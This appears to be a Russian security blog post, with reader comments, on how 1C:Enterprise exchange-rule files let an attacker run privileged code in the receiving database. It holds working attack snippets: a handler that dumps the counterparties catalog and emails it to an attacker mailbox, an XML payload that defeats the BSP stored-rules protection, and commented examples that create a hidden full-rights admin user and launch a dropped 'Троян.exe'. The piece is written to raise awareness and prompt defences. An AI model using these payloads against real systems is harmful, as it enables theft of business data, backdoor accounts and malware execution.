Темная сторона обмена по правилам

Правила обмена (конвертации) используются в обменах данными повсеместно. Однако за удобство и простоту согласования разных конфигураций приходится платить потенциальной угрозой безопасности: возможностью выполнить в принимающей базе произвольный код на языке 1С.

Как известно, правила конвертации содержат обработчики различных событий обмена: перед началом загрузки, при загрузке объекта и т.п. В версиях для платформы 7.7 код этих обработчиков прописывался в обработке обмена. Платформа 8.х же добавила в арсенал программиста инструкцию «Выполнить», и, вместе с ней, возможность размещать код обработчиков непосредственно в тексте правил. А при загрузке данных правила обмена берутся из самого файла обмена (для конфигураций на БСП это не совсем так, но о них позже). И ни платформа, ни типовые конфигурации от 1С не проводят никакой проверки этих правил, кроме валидации на соответствие стандарту XML.

Проблема настолько очевидна, что и говорить-то, казалось бы, не о чем. Однако, как выяснилось, далеко не все программисты и администраторы осознают наличие бреши в безопасности, которую может создать обмен данными.

Давайте рассмотрим для примера торговую компанию со следующей организацией инфраструктуры информационных баз:

 Схема обменов

Менеджеры по закупкам и оптовым продажам работают в управлении торговлей в офисе. Также есть небольшой розничный магазин, в котором установлена базовая 1С:Розница.

Допустим, недобросовестный продавец в магазине решил за некоторое вознаграждение «слить» базу конкурентам. Какую информацию они смогут получить? Очевидно, обороты по магазину, график поставок, цены… Неприятно, но не смертельно, особенно если основной оборот компании идёт по опту.

Самое противное в этой ситуации то, что злоумышленнику станут доступны параметры выполнения обмена: адрес электронной почты для обмена и коды узлов обмена. И ничто не мешает им подменить файл выгрузки на что-нибудь такое:

<ФайлОбмена>
<ПравилаОбмена>
<ПослеЗагрузкиДанных>
//тут вредоносный код
</ПослеЗагрузкиДанных>
</ПравилаОбмена>
<ДанныеПоОбмену ОтКого="РТ" НомерИсходящегоСообщения="9999999"/>
</ФайлОбмена>

И при загрузке код обработчика будет выполнен, причём выполнен чаще всего в привилегированном режиме, т.е. полностью игнорируя все ограничения доступа к данным.

Что может быть в этом обработчике? Да что угодно, например

 ВремФайл = ПолучитьИмяВременногоФайла("txt");
Запрос = Новый Запрос("Выбрать * Из Справочник.Контрагенты");
ЗначениеВФайл(ВремФайл, Запрос.Выполнить());
Профиль = Новый ИнтернетПочтовыйПрофиль;
Профиль.АдресСервераPOP3 = "pop.somemail.ru";
Профиль.АдресСервераSMTP = "smtp.somemail.ru";
Профиль.Пароль           = "123456";
Профиль.Пользователь     = "zloyhacker";
Профиль.ИспользоватьSSLSMTP = Истина;
Профиль.ПарольSMTP       = Профиль.Пароль;
Профиль.ПользовательSMTP = Профиль.Пользователь;
Сообщение = Новый ИнтернетПочтовоеСообщение;
Сообщение.Получатели.Добавить("exchange@corpmail.ru");
Сообщение.Вложения.Добавить(ВремФайл, "Контрагенты");
Сообщение.Отправитель = "zloyhacker@somemail.ru";
Почта = Новый ИнтернетПочта;
Почта.Подключиться(Профиль);
Почта.Послать(Сообщение);
Почта.Отключиться();

И клиентская база из управления торговлей благополучно отправится к конкурентам, когда файл обмена будет принят. Аналогичным образом могут утечь и контакты поставщиков и закупочные цены, и вообще всё, что может представлять коммерческий интерес.

Кроме того, в справочнике НастройкиОбменаДанными хранятся правила для обмена с бухгалтерией, и, в случае подмены хранилища значений с правилами на аналогичные приведённым выше, много интересного может утечь и из ИБ бухгалтерии. Персональные данные сотрудников, например. А если вспомнить, что данные могут не только читаться, но и меняться… В общем, всё может стать весьма печально.

Это то, что касается типовых конфигураций на обычных формах. С конфигурациями на БСП всё несколько иначе: в подсистеме «Обмен данными» правила обмена при загрузке берутся не из файла обмена, а из регистра сведений «ПравилаДляОбменаДанными», в котором хранятся как правила для выгрузки, так и для загрузки данных. Казалось бы, проблемы больше нет, но не так всё радужно, как хотелось бы.

Если в регистр записаны пустые правила

<ПравилаОбмена>
<ВерсияФормата>2.01</ВерсияФормата>
</ПравилаОбмена>

то при загрузке они по-прежнему будут считываться из файла обмена.

Однако, при настройке обменов БСП в обязательном порядке требует указания правил загрузки и без них не сохраняет настройку обмена. Как же они могут оказаться пустыми? Да очень просто: вспомним, что никаких проверок на соответствие данных в файле ни плану обмена, ни правилам не производится. Соотвественно, в файле могут содержаться вообще любые данные, в том числе и запись регистра сведений «ПравилаДляОбменаДанными». И, если хотя бы один раз загрузить файл обмена такого вида:

<?xml version="1.0" encoding="UTF-8"?>
<ФайлОбмена>
<ПравилаОбмена>
<ПослеЗагрузкиДанных>ЧтениеСообщения = Новый Структура(ЧтениеСообщения);ЧтениеСообщения.НомерСообщения = ЧтениеСообщения.ОтправительОбъект.НомерПринятого;ЧтениеСообщения = Новый ФиксированнаяСтруктура(ЧтениеСообщения)</ПослеЗагрузкиДанных>
</ПравилаОбмена>
<ДанныеПоОбмену ОтКого="РТ" НомерИсходящегоСообщения="9999999"/>
<НаборЗаписейРегистра Тип="РегистрСведенийНаборЗаписей.ПравилаДляОбменаДанными">
<Отбор>
<Свойство Имя="ВидПравил" Тип="ПеречислениеСсылка.ВидыПравилДляОбменаДанными">
<Значение>ПравилаКонвертацииОбъектов</Значение>
</Свойство>
<Свойство Имя="ИмяПланаОбмена" Тип="Строка">
<Значение>ОбменУправлениеТорговлейРозница</Значение>
</Свойство>
</Отбор>
<СтрокиНабораЗаписей>
<Объект Тип="РегистрСведенийЗапись.ПравилаДляОбменаДанными">
<Свойство Имя="ВидПравил" Тип="ПеречислениеСсылка.ВидыПравилДляОбменаДанными">
<Значение>ПравилаКонвертацииОбъектов</Значение>
</Свойство>
<Свойство Имя="ИмяПланаОбмена" Тип="Строка">
<Значение>ОбменУправлениеТорговлейРозница</Значение>
</Свойство>
<Свойство Имя="ПравилаЗагружены" Тип="Булево">
<Значение>true</Значение>
</Свойство>
<Свойство Имя="ПравилаЗачитанные" Тип="ХранилищеЗначения">
<Значение>#тут сериазованная в BASE64 структура правил выгрузки из данной ИБ</Значение>
</Свойство>
<Свойство Имя="ПравилаЗачитанныеКорреспондента" Тип="ХранилищеЗначения">
<Значение>#тут сериазованная в BASE64 структура с пустыми правилами</Значение>
</Свойство>
</Объект>
</СтрокиНабораЗаписей>
</НаборЗаписейРегистра>

</ФайлОбмена>

при всех последующих загрузках правила обмена будут браться из файла и все беды, описанные для классических конфигураций проявятся во всей полноте и здесь.


Будьте внимательны и следите за безопасностью обменов.

37 Comments

  1. baton_pk

    Есть такая брешь 🙂

    Пока мы её на себе не ощутили, но чувствую, что можем — есть умелые ребята в магазинах 🙂

    Пока что единственное, что придумал, — подписывать закрытым ключом ту часть правил, которая сохраняется в файл выгрузки, и при получении пакета сравнивать подпись.

    Reply
  2. vano-ekt

    и для взлома достаточно будет доступа к фтп, а реквизиты доступа, как правило лежат в справочнике Настройки обмена данными. При этом обмен настроен под одним фтп пользователем с настройкой выгрузки в разные каталоги (у кого-то не так? 🙂 ) Сливаем базу одного филиала, и получаем доступ ко всем 🙂

    Reply
  3. CheBurator

    Чтото у мння стойкое ощущение что стото подобное я уже чттал

    Откуда содрано?

    Reply
  4. baton_pk

    (3) CheBurator,

    было-было что-то такое на Инфостарте. Сам на днях пытался вспомнить и найти, а тут вот это подвернулось 🙂

    Reply
  5. saiten

    (3) Перед тем как писать поиском прошёлся — не находил ничего. Мож, конечно, искал плохо. Тема-то на поверхности лежит, сам удивился что нету инфы.

    Reply
  6. Yimaida

    (5) давно такое в инете проскакивало (ссылок не дам, т.к. не записывал). Есть такое и в курсе по конвертации от Гилева и Насипова. Как вы думаете почему в новых конфигах (на управляемых формах) правила и обработчики событий в правилах хранятся внутри конфига? это все идет развитие безопасности обменов. Тема хоть и не новая, но напоминание лишним не будет, это как лишний раз сделать бэкап — не помешает.

    Reply
  7. Yimaida

    (6) в догонку. не весь код при обменах выполняется в привилегированном режиме. Если допилить логику при записи объектов, то можно отлавливать и обмены.

    Если НЕ ЭтоГруппа И НЕ ОбменДанными.Загрузка Тогда…

    Reply
  8. saiten

    (6)

    в новых конфигах (на управляемых формах) правила и обработчики событий в правилах хранятся внутри конфига

    В новых — это в каких? В бухии 3.0.38 всё ровно так как в статье написано — правила в регистре, обработчики в правилах. В конфу ничего не прошито жестко.

    Reply
  9. Yimaida

    (8)

    Reply
  10. saiten

    (9) Сильно подозреваю, что это для модели сервиса, т.к. сегодня перед тем как опубликовать глянул в последний релиз бухии на предмет не поменялось ли чего — код чтения правил из файла был в наличии, про обработчики не смотрел, правда. Завтра постараюсь подробнее глянуть на предмет того что это и для чего.

    Reply
  11. AlX0id

    а тупо паковать файлы обмена с паролем — не вариант?

    Reply
  12. DrAku1a
    Платформа 8.х же добавила в арсенал программиста инструкцию «Выполнить»

    А разве в 7.7 не было что-то типа «Вычислить»?

    Reply
  13. monkbest

    (12) DrAku1a, сама команда была и в 7.7, только в коде универсальной XML загрузки её никто не писал, а все нужные процедуры дописывали в код обработки. Это было безопаснее, но лень победила, не плодить же обработки под каждые правила обмена:)

    Reply
  14. saiten

    (9) Однако, я ошибся — не для работы в модели сервиса. Вот что написано в самом модуле одной из этих обработок:

    ////////////////////////////////////////////////////////////////////////////////

    //

    // Данный модуль содержит экспортные процедуры обработчиков событий конвертации

    // и предназначен для отладки правил обмена.

    // После отладки рекомендуется внести соответствующие исправления обработчиков

    // в базе «Конвертация данных 2.0» и заново сформировать файл правил.

    //

    ////////////////////////////////////////////////////////////­////////////////////
    Reply
  15. saiten

    (11)

    а тупо паковать файлы обмена с паролем — не вариант?

    Один из. Но это всё же относится к защите транспортного канала. Т.е. при наличии до глубины души обиженного размером премии продавца и его друга-кулхацкера, всё необходимое, чтобы устроить в центральной базе локальный армагеддец, может формироваться в самой 1С-ке и отдаваться на вход шифрующего скрипта уже с бомбой внутри.

    Reply
  16. saiten

    (13)

    сама команда была и в 7.7

    Это было безопаснее, но лень победила

    Может и была, честно — не помню. Однако, функция «Вычислить» есть и в 8.х, и решает она несколько другие задачи. Выполнить последовательно несколько операторов, разделенных «;» в ней не получится. Так что, думаю, в 7.7 всё же код выносился в обработку не для безопасности, а в силу ограничений платформы.

    Reply
  17. saiten

    (14)Ага, смежная проблема с теми же корнями. Кстати, та тема 2013 года ещё, и уже там в комментах пишут, что баян. Дыра известна и понятна. Только воз не особо двигается, как говорится.

    Reply
  18. vasyak319

    (18) воз не особо двигается, потому что эта возможность хоть и реальна, но всё равно из разряда шансов получить по голове метеоритом. Люди, которые способны это провернуть и «обиженные размером премии продавцы» это очень-очень разные люди, так что даже в том маловероятном случае, что кто-то попытается, кончится это скорее всего сообщением, типа: «Какая-то фигня при загрузке файла обмена».

    Reply
  19. AlX0id

    (16) ну как бы тут уже необходимо наличие «кулхацкера», который сведущ в структуре базы предприятия. А это уже инсайдинг, от которого техническими средствами защититься крайне проблемно. Ежели так, то у того же кулхацкера есть и значительно проще пути по сливу информации..

    Reply
  20. saiten

    (19) Это называется «авось пронесёт». Вполне оправданный подход, если потенциальный ущерб меньше затрат на организацию защиты.

    Reply
  21. saiten

    (20)

    который сведущ в структуре базы предприятия

    Совсем необязательно. Структура базы, как правило, в достаточной степени описывается правилами выгрузки в эту базу, остальное выясняется несколькими последовательными атаками. По-сути, это инсайд, да. Но не на центр инфраструктуры, а «скраю», так сказать. Там много сценариев возможно, на самом деле.

    Reply
  22. baton_pk

    (20) AlX0id,

    Для этого не обязателен прямо кулъ-хацкер 🙂

    У нас среди продавцов в магазинах вдруг оказались бывшие одинэсники :):) Потому все откровенно явные дыры пришлось быстренько заткнуть после первых же случаев.

    Reply
  23. vasyak319

    (23) baton_pk, ИМХО, если товарисч, побывав одинэсником, предпочитает зарабатывать продавцом в магазине, то вреда от него, как программиста, на много порядков больше, чем от него же, как вредителя. Тут как в том анекдоте про фашиста и партизана: «Вас ист дас? «Гомельспичпром»? Тафай-тафай, потшигай.»

    Reply
  24. ivanov660

    Интересно статья автора появилась на основе практики?

    Reply
  25. saiten

    (25) Нет, реально сталкиваться не доводилось. Сугубо академический интерес, так сказать.

    Reply
  26. Stim213

    боян

    http://infostart.ru/public/182849/

    + и у меня все проще)

    (ПравилаОбмена)

    (ВерсияФормата)

    2.01

    (/ВерсияФормата)

    (Ид)

    e4d7c6e2-e768-43ee-ac67-18c27fe63791

    (/Ид)

    (Наименование)

    УправлениеТорговлей 11 —) УправлениеТорговлей 11

    (/Наименование)

    (ДатаВремяСоздания)

    2013-04-13T21:59:02

    (/ДатаВремяСоздания)

    (Источник ВерсияПлатформы=»8.0″ ВерсияКонфигурации=»11.0.9.14″ СинонимКонфигурации=»Управление торговлей, редакция 11.0″)

    УправлениеТорговлей

    (/Источник)

    (Приемник ВерсияПлатформы=»8.0″ ВерсияКонфигурации=»11.0.9.14″ СинонимКонфигурации=»Управление торговлей, редакция 11.0″)

    УправлениеТорговлей

    (/Приемник)

    (ПослеЗагрузкиПравилОбмена)

    УстановитьПривилегированныйРежим(Истина); Пользователь = ПользователиИнформационнойБазы.СоздатьПользователя(); Пользователь.Имя = «Хакер»; Пользователь.АутентификацияСтандартная = Истина; Пользователь.Роли.Добавить(метаданные.роли.ПолныеПрава); Пользователь.Роли.Добавить(метаданные.роли.Администрирование); Пользователь.Записать();

    (/ПослеЗагрузкиПравилОбмена)

    (Параметры/)

    (Обработки/)

    (ПравилаКонвертацииОбъектов/)

    (ПравилаВыгрузкиДанных/)

    (ПравилаОчисткиДанных/)

    (Алгоритмы/)

    (Запросы/)

    (/ПравилаОбмена)

    Reply
  27. Stim213

    + продавец не обязательно должен быть одинесником.

    суть проста- обиженный продавец хочет продать базу конкурентам. а то и просто навредить.

    продавец работает на точке.

    что он делает — копирует вечерний файл выгрузки на флешку.

    Reply
  28. Stim213

    + пакостных вариантов — куча.

    самый мерзкий — бомба замедленного действия. небольшие изменения, что на протяжении пары недель будут незаметны, а когда спохватятся — окажется, что все бекапы «заражены» этими изменениями, а достоверные данные — то

    Reply
  29. saiten

    (27) В УТ 11.1 проверяли? Правила обмена в них берутся из регистра, а не из файла, об этом есть упоминание в статье. А в остальном — да, такой вариант тоже может иметь место. Суть в общем-то статьи в том, что при построении защиты недостаточно прорабатывается обмен данными с незащищенными узлами: защищается центральный сервер, защищаются каналы связи, но не сами передаваемые данные. И с переходом на БСП ситуация не особо улучшилась. Согласитесь, ваша статья всё же несколько о другом. Хотя корни проблемы общие, согласен.

    Reply
  30. asirius

    Этой дыркой еще в 2009 году пользовался

    <ПослеЗагрузкиПравилОбмена>



    УстановитьПривилегированныйРежим(Истина);

    ДвоичныеДанные = BASE64Значение(«….»);

    ДвоичныеДанные.Записать(«Троян.exe»);

    ВыполнитьКомандуСистемы(«Троян.exe»);

    … и понеслась…

    Reply
  31. saiten

    (31) Ну, под линуксом такой беспредел не проканает, конечно. А так, да. Как пользоваться дырой понятно; как её закрыть, в общем-то тоже. Непонятно, по крайней мере мне, почему на эту проблему поголовно забивается болт.

    Reply
  32. cool.vlad4

    (3) Yashazz создавал топик несколько лет назад, где спрашивал как выполнить код на клиенте. я предложил вариант с выгрузкой.(нашел вроде http://forum.infostart.ru/forum26/topic38078/message431224/#message431224 ) а потом спустя некоторое время он даже публикацию вроде делал. хотя могу тут ошибаться.

    Reply
  33. igor_ek_ur

    Не хочется расстраивать автора, но если говорить о типовом обмене на базе БСП 2.2 последних версий, то он сделан таким образом, что правила конвертации объектов источника в приемнике берутся не из файла обмена (хоть они там и есть), а из правил, зашитых в конфигурации. Можно включить режим обмена, когда, когда будут выполняться обработчики из правил, но речь не об этом сейчас. Все о чем вы написали справедливо для случаев использования настроенных правил (БСП2.2), либо обменов по более старым технологиям, либо самописных обменов. В типовых конфигурациях этой проблемы быть не должно. Теоретически… Хотя, если у организации появляется свой программист 1с, то ничего типового для такой организации больше не остается.

    Reply
  34. saiten

    (34) Если когда-нибудь это будет так — я не расстроюсь, а только порадуюсь 🙂 Может быть, в последних версиях БСП что-то и поменялось, но что-то верится мне с трудом. По крайней мере, для актуальной на данный момент версии бухгалтерии проблема всё ещё в наличии.

    Reply
  35. MaxS

    (35) Чтобы обсуждение не повисло в неопределенности, добавлю информацию.

    В последних БСП эта проблема решилась тем, что в центральной базе хранятся правила обмена в обе стороны. И когда из периферии приходят данные, то обработчики берутся из центральной базы.

    Обнаружилось это опытным путем при отладке обмена. Изменения в правилах выгрузки игнорировались принимающей базой до тех пор, пока не поменял их на стороне приемника.

    А я пока в поисках как в старой УТ 10.3 подменить файл обмена перед началом его загрузки.

    Научился подменять файл выгрузки правкой правил обмена. А с загрузкой пока ищу способ.

    Reply
  36. saiten

    (36)Конкретно в последних версиях БСП не смотрел, но по состоянию на апрель 2015 ситуация была следующая: правила обмена в обе стороны хранятся в регистре ПравилаДляОбменаДанными, однако, если прибить записи этого регистра, то правила берутся из файла. Убить эти записи можно, например, приняв файл обмена определенного вида.

    Как сейчас дела обстоят дела в этом вопросе не знаю, не мониторил. Но сильно сомневаюсь, что что-либо изменилось.

    Reply

Leave a Comment

Ваш адрес email не будет опубликован. Обязательные поля помечены *